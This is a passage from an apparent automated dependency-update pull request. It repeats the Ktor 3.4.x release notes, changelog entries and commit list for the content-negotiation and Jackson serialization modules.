2026\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch3\u003eImprovements\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9327\"\u003eKTOR-9327\u003c/a\u003e Curl: The WebSockets maxFrameSize option does not have an effect\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9383\"\u003eKTOR-9383\u003c/a\u003e CaseInsensitiveString: reduce allocations\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9385\"\u003eKTOR-9385\u003c/a\u003e Netty: Allocation micro-optimizations\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9403\"\u003eKTOR-9403\u003c/a\u003e Darwin: Unnecessary ByteArray copy for each received response chunk\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9412\"\u003eKTOR-9412\u003c/a\u003e KDoc for \u003ccode\u003eformFieldLimit\u003c/code\u003e documents incorrect default value (64 KB instead of 50 MiB)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eBugfixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9351\"\u003eKTOR-9351\u003c/a\u003e OpenAPI: Incorrect schema generated for nested classes with lists\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9361\"\u003eKTOR-9361\u003c/a\u003e WebSockets: \u003ccode\u003eJsWebSocketSession._closeReason\u003c/code\u003e is completed twice\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9437\"\u003eKTOR-9437\u003c/a\u003e Fix GraalVM Compatibility\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9424\"\u003eKTOR-9424\u003c/a\u003e Logging: OkHttp format should log the full requested URL\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8540\"\u003eKTOR-8540\u003c/a\u003e Logging: IllegalStateException is thrown when response is cached and deserialization fails\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9370\"\u003eKTOR-9370\u003c/a\u003e OpenAPI: NoSuchMethodError - getLOCAL_FUNCTION_FOR_LAMBDA with Kotlin 2.3.20-*\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9421\"\u003eKTOR-9421\u003c/a\u003e Netty: active SSE connection blocks HTTP/2 response flushing for other requests\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-3390\"\u003eKTOR-3390\u003c/a\u003e JS browser: \u0026quot;Failed to execute 'digest' on 'SubtleCrypto'\u0026quot; error when using digest auth\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-5977\"\u003eKTOR-5977\u003c/a\u003e Compression: The encoders buffer streaming response\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9393\"\u003eKTOR-9393\u003c/a\u003e Certificate pinning matches against all pins instead of hostname-scoped pins\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8751\"\u003eKTOR-8751\u003c/a\u003e DI: AmbiguousDependencyException when named dependency is overridden in testApplication\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9039\"\u003eKTOR-9039\u003c/a\u003e Bearer Auth: Request body transformed with jsonIO isn't sent over again after refreshToken request\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9404\"\u003eKTOR-9404\u003c/a\u003e Darwin: Memory leak in KtorNSURLSessionDelegate\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9399\"\u003eKTOR-9399\u003c/a\u003e LinkageError when running Ktor app with development mode inside Spring Boot / Amper fat-JAR\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9402\"\u003eKTOR-9402\u003c/a\u003e NoSuchMethodError on RawWebSocket after 3.4.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9372\"\u003eKTOR-9372\u003c/a\u003e Frame.Text.readText() causes infinite loop and 100% CPU on Kotlin/Native when WebSocket frame data is malformed or connection drops unexpectedly\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9387\"\u003eKTOR-9387\u003c/a\u003e ZstdEncoder decode fails when source data is split into multiple Zstd frames\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e3.4.1\u003c/h2\u003e\n\u003cblockquote\u003e\n\u003cp\u003ePublished 3 March 2026\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch3\u003eImprovements\u003c/h3\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/ktorio/ktor/blob/main/CHANGELOG.md\"\u003eio.ktor:ktor-client-content-negotiation's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch1\u003e3.4.3\u003c/h1\u003e\n\u003cblockquote\u003e\n\u003cp\u003ePublished 22 April 2026\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch3\u003eBugfixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9451\"\u003eKTOR-9451\u003c/a\u003e OpenAPI schema inference not working for custom nested generics\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9490\"\u003eKTOR-9490\u003c/a\u003e OpenAPI: Self-referential schema $ref uses FQN while schema is registered with a simple name\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9463\"\u003eKTOR-9463\u003c/a\u003e OpenAPI: schema inference StackOverflow\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8938\"\u003eKTOR-8938\u003c/a\u003e WebSockets: WebSockets handler does not inherit server coroutine context\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8989\"\u003eKTOR-8989\u003c/a\u003e Shared engine is closed when a client created with \u003ccode\u003econfig\u003c/code\u003e method is closed\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9485\"\u003eKTOR-9485\u003c/a\u003e Apache5: FutureCallback never called, breaking Java agent instrumentation\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9497\"\u003eKTOR-9497\u003c/a\u003e Darwin: SIGABRT crash when \u003ccode\u003eclose()\u003c/code\u003e races with in-flight \u003ccode\u003eexecute()\u003c/code\u003e since 3.4.2\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9431\"\u003eKTOR-9431\u003c/a\u003e SuspendFunctionGun: ThreadContextElement leaks across requests when interceptor suspends\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9423\"\u003eKTOR-9423\u003c/a\u003e CannotTransformContentToTypeException leaks internal class names in response body\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9461\"\u003eKTOR-9461\u003c/a\u003e Incorrect link to the OWASP cheatsheet in the KDoc for CSRF plugin\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9476\"\u003eKTOR-9476\u003c/a\u003e Unable to update/remove session data if no response content\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9343\"\u003eKTOR-9343\u003c/a\u003e HttpRequestLifecycle plugin with \u003ccode\u003ecancelCallOnClose\u003c/code\u003e on, cancels subsequent requests when CallLogging plugin with callIdMdc is installed\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch1\u003e3.4.2\u003c/h1\u003e\n\u003cblockquote\u003e\n\u003cp\u003ePublished 27 March 2026\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch3\u003eImprovements\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9327\"\u003eKTOR-9327\u003c/a\u003e Curl: The WebSockets maxFrameSize option does not have an effect\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9383\"\u003eKTOR-9383\u003c/a\u003e CaseInsensitiveString: reduce allocations\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9385\"\u003eKTOR-9385\u003c/a\u003e Netty: Allocation micro-optimizations\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9403\"\u003eKTOR-9403\u003c/a\u003e Darwin: Unnecessary ByteArray copy for each received response chunk\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9412\"\u003eKTOR-9412\u003c/a\u003e KDoc for \u003ccode\u003eformFieldLimit\u003c/code\u003e documents incorrect default value (64 KB instead of 50 MiB)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eBugfixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9351\"\u003eKTOR-9351\u003c/a\u003e OpenAPI: Incorrect schema generated for nested classes with lists\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9361\"\u003eKTOR-9361\u003c/a\u003e WebSockets: \u003ccode\u003eJsWebSocketSession._closeReason\u003c/code\u003e is completed twice\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9437\"\u003eKTOR-9437\u003c/a\u003e Fix GraalVM Compatibility\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9424\"\u003eKTOR-9424\u003c/a\u003e Logging: OkHttp format should log the full requested URL\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8540\"\u003eKTOR-8540\u003c/a\u003e Logging: IllegalStateException is thrown when response is cached and deserialization fails\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9370\"\u003eKTOR-9370\u003c/a\u003e OpenAPI: NoSuchMethodError - getLOCAL_FUNCTION_FOR_LAMBDA with Kotlin 2.3.20-*\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9421\"\u003eKTOR-9421\u003c/a\u003e Netty: active SSE connection blocks HTTP/2 response flushing for other requests\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-3390\"\u003eKTOR-3390\u003c/a\u003e JS browser: \u0026quot;Failed to execute 'digest' on 'SubtleCrypto'\u0026quot; error when using digest auth\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-5977\"\u003eKTOR-5977\u003c/a\u003e Compression: The encoders buffer streaming response\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9393\"\u003eKTOR-9393\u003c/a\u003e Certificate pinning matches against all pins instead of hostname-scoped pins\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8751\"\u003eKTOR-8751\u003c/a\u003e DI: AmbiguousDependencyException when named dependency is overridden in testApplication\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9039\"\u003eKTOR-9039\u003c/a\u003e Bearer Auth: Request body transformed with jsonIO isn't sent over again after refreshToken request\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9404\"\u003eKTOR-9404\u003c/a\u003e Darwin: Memory leak in KtorNSURLSessionDelegate\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9399\"\u003eKTOR-9399\u003c/a\u003e LinkageError when running Ktor app with development mode inside Spring Boot / Amper fat-JAR\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9402\"\u003eKTOR-9402\u003c/a\u003e NoSuchMethodError on RawWebSocket after 3.4.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9372\"\u003eKTOR-9372\u003c/a\u003e Frame.Text.readText() causes infinite loop and 100% CPU on Kotlin/Native when WebSocket frame data is malformed or connection drops unexpectedly\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9387\"\u003eKTOR-9387\u003c/a\u003e ZstdEncoder decode fails when source data is split into multiple Zstd frames\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch1\u003e3.4.1\u003c/h1\u003e\n\u003cblockquote\u003e\n\u003cp\u003ePublished 3 March 2026\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/5d9a99869b6005018fb821828c082d8e4ff05500\"\u003e\u003ccode\u003e5d9a998\u003c/code\u003e\u003c/a\u003e Release 3.4.3 (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5547\"\u003e#5547\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/6a11a76b9e13302ceea01e8763aa2fdc74ec73be\"\u003e\u003ccode\u003e6a11a76\u003c/code\u003e\u003c/a\u003e KTOR-8989 Close or cancel engine only when the client reference count… (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5525\"\u003e#5525\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/3acb8ea1ab1738c0ff6fb68f3f0e75024edae2c7\"\u003e\u003ccode\u003e3acb8ea\u003c/code\u003e\u003c/a\u003e KTOR-8938 Inherit server coroutine context in WebSocket session (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5426\"\u003e#5426\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/cec7d38a7183c43efa686eed6cad5cf889f37fd0\"\u003e\u003ccode\u003ecec7d38\u003c/code\u003e\u003c/a\u003e Fix flaky test failures on native platforms (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5485\"\u003e#5485\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/bd8bea1c18eba45f150537d223a8aa3c107cb5fb\"\u003e\u003ccode\u003ebd8bea1\u003c/code\u003e\u003c/a\u003e KTOR-9507 Update Jackson to 2.21 and 3.1.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/5e29515e447d0b825f7e0fe1a60757b433e89c02\"\u003e\u003ccode\u003e5e29515\u003c/code\u003e\u003c/a\u003e KTOR-9507 Update netty to 4.2.12\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/733b8e1b08e1c87a0b731ddd42406c8b2a93e35f\"\u003e\u003ccode\u003e733b8e1\u003c/code\u003e\u003c/a\u003e KTOR-9373 Make ConcurrentMap iteration safe on Native (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5407\"\u003e#5407\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/1f83f21df932ae6b00222ab5241e4bbc93c830e5\"\u003e\u003ccode\u003e1f83f21\u003c/code\u003e\u003c/a\u003e KTOR-9451 Support nested generic types (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5500\"\u003e#5500\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/2440990f1085410261b41058815d24d6a9789bba\"\u003e\u003ccode\u003e2440990\u003c/code\u003e\u003c/a\u003e Apache 5 Client. Don't ignore resultCallback (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5526\"\u003e#5526\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/430f32098bc3565d2cba6d0dfd06758afba45410\"\u003e\u003ccode\u003e430f320\u003c/code\u003e\u003c/a\u003e Follow-up: KTOR-9497 Preventing a fatal crash in DarwinSession on close (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5533\"\u003e#5533\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/ktorio/ktor/compare/3.3.1...3.4.3\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `io.ktor:ktor-serialization-jackson` from 3.3.1 to 3.4.3\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/ktorio/ktor/releases\"\u003eio.ktor:ktor-serialization-jackson's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e3.4.3\u003c/h2\u003e\n\u003cblockquote\u003e\n\u003cp\u003ePublished 22 April 2026\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch3\u003eBugfixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9451\"\u003eKTOR-9451\u003c/a\u003e OpenAPI schema inference not working for custom nested generics\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9490\"\u003eKTOR-9490\u003c/a\u003e OpenAPI: Self-referential schema $ref uses FQN while schema is registered with a simple name\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9463\"\u003eKTOR-9463\u003c/a\u003e OpenAPI: schema inference StackOverflow\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8938\"\u003eKTOR-8938\u003c/a\u003e WebSockets: WebSockets handler does not inherit server coroutine context\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8989\"\u003eKTOR-8989\u003c/a\u003e Shared engine is closed when a client created with \u003ccode\u003econfig\u003c/code\u003e method is closed\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9485\"\u003eKTOR-9485\u003c/a\u003e Apache5: FutureCallback never called, breaking Java agent instrumentation\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9497\"\u003eKTOR-9497\u003c/a\u003e Darwin: SIGABRT crash when \u003ccode\u003eclose()\u003c/code\u003e races with in-flight \u003ccode\u003eexecute()\u003c/code\u003e since 3.4.2\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9431\"\u003eKTOR-9431\u003c/a\u003e SuspendFunctionGun: ThreadContextElement leaks across requests when interceptor suspends\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9423\"\u003eKTOR-9423\u003c/a\u003e CannotTransformContentToTypeException leaks internal class names in response body\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9461\"\u003eKTOR-9461\u003c/a\u003e Incorrect link to the OWASP cheatsheet in the KDoc for CSRF plugin\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9476\"\u003eKTOR-9476\u003c/a\u003e Unable to update/remove session data if no response content\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9343\"\u003eKTOR-9343\u003c/a\u003e HttpRequestLifecycle plugin with \u003ccode\u003ecancelCallOnClose\u003c/code\u003e on, cancels subsequent requests when CallLogging plugin with callIdMdc is installed\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e3.4.2\u003c/h2\u003e\n\u003cblockquote\u003e\n\u003cp\u003ePublished 27 March 2026\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch3\u003eImprovements\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9327\"\u003eKTOR-9327\u003c/a\u003e Curl: The WebSockets maxFrameSize option does not have an effect\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9383\"\u003eKTOR-9383\u003c/a\u003e CaseInsensitiveString: reduce allocations\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9385\"\u003eKTOR-9385\u003c/a\u003e Netty: Allocation micro-optimizations\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9403\"\u003eKTOR-9403\u003c/a\u003e Darwin: Unnecessary ByteArray copy for each received response chunk\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9412\"\u003eKTOR-9412\u003c/a\u003e KDoc for \u003ccode\u003eformFieldLimit\u003c/code\u003e documents incorrect default value (64 KB instead of 50 MiB)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eBugfixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9351\"\u003eKTOR-9351\u003c/a\u003e OpenAPI: Incorrect schema generated for nested classes with lists\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9361\"\u003eKTOR-9361\u003c/a\u003e WebSockets: \u003ccode\u003eJsWebSocketSession._closeReason\u003c/code\u003e is completed twice\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9437\"\u003eKTOR-9437\u003c/a\u003e Fix GraalVM Compatibility\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9424\"\u003eKTOR-9424\u003c/a\u003e Logging: OkHttp format should log the full requested URL\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8540\"\u003eKTOR-8540\u003c/a\u003e Logging: IllegalStateException is thrown when response is cached and deserialization fails\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9370\"\u003eKTOR-9370\u003c/a\u003e OpenAPI: NoSuchMethodError - getLOCAL_FUNCTION_FOR_LAMBDA with Kotlin 2.3.20-*\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9421\"\u003eKTOR-9421\u003c/a\u003e Netty: active SSE connection blocks HTTP/2 response flushing for other requests\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-3390\"\u003eKTOR-3390\u003c/a\u003e JS browser: \u0026quot;Failed to execute 'digest' on 'SubtleCrypto'\u0026quot; error when using digest auth\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-5977\"\u003eKTOR-5977\u003c/a\u003e Compression: The encoders buffer streaming response\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9393\"\u003eKTOR-9393\u003c/a\u003e Certificate pinning matches against all pins instead of hostname-scoped pins\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8751\"\u003eKTOR-8751\u003c/a\u003e DI: AmbiguousDependencyException when named dependency is overridden in testApplication\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9039\"\u003eKTOR-9039\u003c/a\u003e Bearer Auth: Request body transformed with jsonIO isn't sent over again after refreshToken request\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9404\"\u003eKTOR-9404\u003c/a\u003e Darwin: Memory leak in KtorNSURLSessionDelegate\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9399\"\u003eKTOR-9399\u003c/a\u003e LinkageError when running Ktor app with development mode inside Spring Boot / Amper fat-JAR\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9402\"\u003eKTOR-9402\u003c/a\u003e NoSuchMethodError on RawWebSocket after 3.4.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9372\"\u003eKTOR-9372\u003c/a\u003e Frame.Text.readText() causes infinite loop and 100% CPU on Kotlin/Native when WebSocket frame data is malformed or connection drops unexpectedly\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9387\"\u003eKTOR-9387\u003c/a\u003e ZstdEncoder decode fails when source data is split into multiple Zstd frames\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e3.4.1\u003c/h2\u003e\n\u003cblockquote\u003e\n\u003cp\u003ePublished 3 March 2026\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch3\u003eImprovements\u003c/h3\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/ktorio/ktor/blob/main/CHANGELOG.md\"\u003eio.ktor:ktor-serialization-jackson's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch1\u003e3.4.3\u003c/h1\u003e\n\u003cblockquote\u003e\n\u003cp\u003ePublished 22 April 2026\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch3\u003eBugfixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9451\"\u003eKTOR-9451\u003c/a\u003e OpenAPI schema inference not working for custom nested generics\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9490\"\u003eKTOR-9490\u003c/a\u003e OpenAPI: Self-referential schema $ref uses FQN while schema is registered with a simple name\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9463\"\u003eKTOR-9463\u003c/a\u003e OpenAPI: schema inference StackOverflow\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8938\"\u003eKTOR-8938\u003c/a\u003e WebSockets: WebSockets handler does not inherit server coroutine context\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8989\"\u003eKTOR-8989\u003c/a\u003e Shared engine is closed when a client created with \u003ccode\u003econfig\u003c/code\u003e method is closed\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9485\"\u003eKTOR-9485\u003c/a\u003e Apache5: FutureCallback never called, breaking Java agent instrumentation\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9497\"\u003eKTOR-9497\u003c/a\u003e Darwin: SIGABRT crash when \u003ccode\u003eclose()\u003c/code\u003e races with in-flight \u003ccode\u003eexecute()\u003c/code\u003e since 3.4.2\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9431\"\u003eKTOR-9431\u003c/a\u003e SuspendFunctionGun: ThreadContextElement leaks across requests when interceptor suspends\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9423\"\u003eKTOR-9423\u003c/a\u003e CannotTransformContentToTypeException leaks internal class names in response body\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9461\"\u003eKTOR-9461\u003c/a\u003e Incorrect link to the OWASP cheatsheet in the KDoc for CSRF plugin\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9476\"\u003eKTOR-9476\u003c/a\u003e Unable to update/remove session data if no 